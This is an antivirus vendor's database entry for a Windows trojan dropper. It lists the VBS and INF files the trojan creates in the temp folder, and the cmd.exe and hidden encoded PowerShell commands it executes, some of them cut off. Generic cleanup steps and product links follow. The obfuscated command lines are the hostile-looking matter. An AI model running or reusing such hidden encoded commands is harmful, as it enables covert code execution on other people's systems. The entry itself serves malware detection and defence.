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Trojan.MulDrop33.10971

Added to the Dr.Web virus database: 2025-10-16

Virus description added:

Technical Information

Modifies file system
Creates the following files
  • %WINDIR%\temp\offensive.vbs
  • %WINDIR%\temp\offensive.inf
Deletes following files that it created itself
  • %WINDIR%\temp\offensive.vbs
  • %WINDIR%\temp\offensive.inf
Miscellaneous
Executes the following
  • '<SYSTEM32>\cmd.exe' /C CQBiAAgAcwALAHMAFwBrAFAAYgAGAGIAXgBkABIAJwAtAGIAHQByAAwAbgAKAH4A XgAhAFgAJwAJAGIACABzAAsAcwAXAGsAUABiAAYAYgBeAGQAEgAnAD8AdwAOAGsA FwBkAB8AcwAXAGgAEAA2ADgANAAwADUA
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -EncodedCommand FwBwADEAaAAyAEAASwBGACoAVgAxAHMAMgBAABgARgB+AA0AcwA2ADYAMgA4ADcA
  • '<SYSTEM32>\cmd.exe' /C HgB0AAoAdQAAAHcAHQApAAwAfwAMACcARgAoACsAJwBGACgALAA9AD8ARQA6AGQA GwBuABkAcwBJACUAKgA9ADUAUAAAAGkADQBoAB4AdAA1AFMADABqABkAWwAGAGEA DwBiAAcAdAAAAHEADAApAB8AZQAaACUAOAA4ADMAMgA3AA==
  • '<SYSTEM32>\cmd.exe' /C AwB0AAYAcwAPACkACwB/AAsAJwAYAGUAHQBkABwAbgAeAHMAVABCABYAYgANAHIA GgBiAEYAJQAtAHUACwBmABoAYgAhAGUABABiAA0AcwBGACUATABQAD0AZAAcAG4A HgBzAEAAVAAGAGIAAgBrAEwAJQBHACkAPAByAAAAJwBMAE8ACQBFAAEARg...
  • '<SYSTEM32>\cmd.exe' /C HAByAAAAYwACAGsAXQA1AEAAYgAWAGIATgBtAA8AcQAPAHQADQB1AAcAdwAaAD0A TABbAEAAKQAyAGoAHQBvABoAagACACsAPAByAAAATwA6AEoAIgBGAB4AdwACAG4A DQBmABoAbgABAGkATgAlAFUAYgAYAGYAAgAvAEwARgAvAEUABwBGACwAbA...
  • '<SYSTEM32>\cmd.exe' /C HQBiAAgAdAAZAHUAXAA1AEEAYgAXAGIATwAoABwAJwBAAHIATwAoAAYAPQBNAG0A DgBxAA4AdAAMAHUABgB3ABsAPQAuAFYALQBuAC4ARQAIAEYAJQBwAC4AcgAuAEAA PgBGACgAcAAtAHIALgBFAAQARgA2AGAALgA0AC4AQgAIAEYAKwBWAC0Acw...
  • '<SYSTEM32>\cmd.exe' /C DABqABwAcwAfACkACgB/AAoAJwBAAHQATwAoAAEAbgBPACgAAQB0AE8AJQAsAD0A MwBQAAYAaQALAGgAGAB0ADMAUwAKAGoAHwBbAAAAYQAJAGIAAQB0AAYAcQAKACkA BgBpAAkAJQAyADgAMQA1ADIA
  • '<SYSTEM32>\cmd.exe' /C HwBkAAQAcwANAHQABwB0AEIAYgAUAGIATAAoAA8AdQAJAGYAGABiAEwAKAAYAGkA TABIAAoAYQAJAGkAHwBuABoAYgA4AGYAHwBsAEwAKAAYAHUATAAlACQARgAuAGgA LQBFAB8ARgA1AGAALQBiAC0ATwA9AEYALgBGAC4AbgAtAEYALQBGAA0AcA...
  • '<SYSTEM32>\cmd.exe' /C HwBkAAQAcwANAHQABwB0AEIAYgAUAGIATAAoAB4AcgACACcAQwBzAAIAJwAjAGEA CgBiAAIAdAAFAHEACQBTAA0AdAAHADcANgA2ADQAMAA=
  • '<SYSTEM32>\cmd.exe' /C HgBkAAUAcwAMAHQABgB0AEMAYgAVAGIATQAoAAkAYgABAGIAGQBiAE0AKAAZAGkA TQBIAAsAYQAIAGkAHgBuABsAYgA5AGYAHgBsAE0AKAALADkAMAA0ADQANwA=
  • '<SYSTEM32>\cmd.exe' /C HgBkAEMAYgAVAGIATQBkAB8AYgAMAHMACAAnACAAZgABAG4ADgBuAAIAcgAeAEMA HwBuABsAYgAfACcADwBuAAMAdwAMAHMABQA6AE0AJQAuAD0AMQBQAAQAaQAJAGgA GgB0ADEAVAAUAHQAGQBiAAAANABfAFsACQB1AAQAcQAIAHUAHgBbAAMAcg...
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -EncodedCommand DgBGAC8AcQAsAE8ADgBGADcAVgAvAH4ALABPACAARgAMAEYALwBrACwAQAAaAEYA DwBGACwAcgAsAEAAOABGAAgARgAvAGsALABEACwARgAhAFYALwBIACwAQABVAEYA OABGACwAYAAsAEQAXQBGADsAcAAsAG...
  • '<SYSTEM32>\cmd.exe' /C KABiAD0AJwA7AGMAPgAnAHgATwARAEsAFwBbAAkAaAA8AHMALQBmACgAYgAGAEoA MwBkACgAaAApAGgAPABzAAYAUAAzAGkAPgBoAC0AdAB6AEkADgBbABkAcgAoAHUA PwBpAC4AUQA/AHUAKQBuADUAaQAGAFAAMwBpAD4AaAAtAHQAeAAnAHUAcQ...
  • '<SYSTEM32>\cmd.exe' /C OQBoACoAfgB6ACIACQB+ACkAcwA/AGoACABoADUAcwB/AFsACQB+ACkAcwA/AGoA aQA1AAYAZAA3AGMAdABiACIAYgB6ACUAGQA9AAYAUgApAGIAKAB0AAYAIgAPAFQA HwBVABQARgAXAEIAfwBbABsAdwAqAEMAOwBzADsAWwAIAGgAOwBqADMAaQ...
  • '<SYSTEM32>\cmd.exe' /C KABkADMAcwA6AHQAMAB0AHUAYgAjAGIAewAoADgAdQA+AGYALwBiAHsAKAAvAGkA ewBIAD0AYQA+AGkAKABuAC0AYgALAGIAKQB0ADIAdAAvACcAdABzACkAJwB5AHcA NABwAD4AdQAoAG8APgBrADcAKQA+AH8APgAnAHYASQA0AFcAewAqAAwAJw...
  • '<SYSTEM32>\cmd.exe' /C KwBkAHYAYgAgAGIAeABkACoAYgA5AHMAPQAnAB0AfwAoAGsANwBuACwAQwAqAG4A LgBiACoAJwA6AG4ANgB3ADkAcwAwADoAeAAlABsAPQAEAFAAMQBpADwAaAAvAHQA BABUACEAdAAsAGIANQA0AGoAWwA8AHUAMQBxAD0AdQArAFsANgByADQAaw...

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android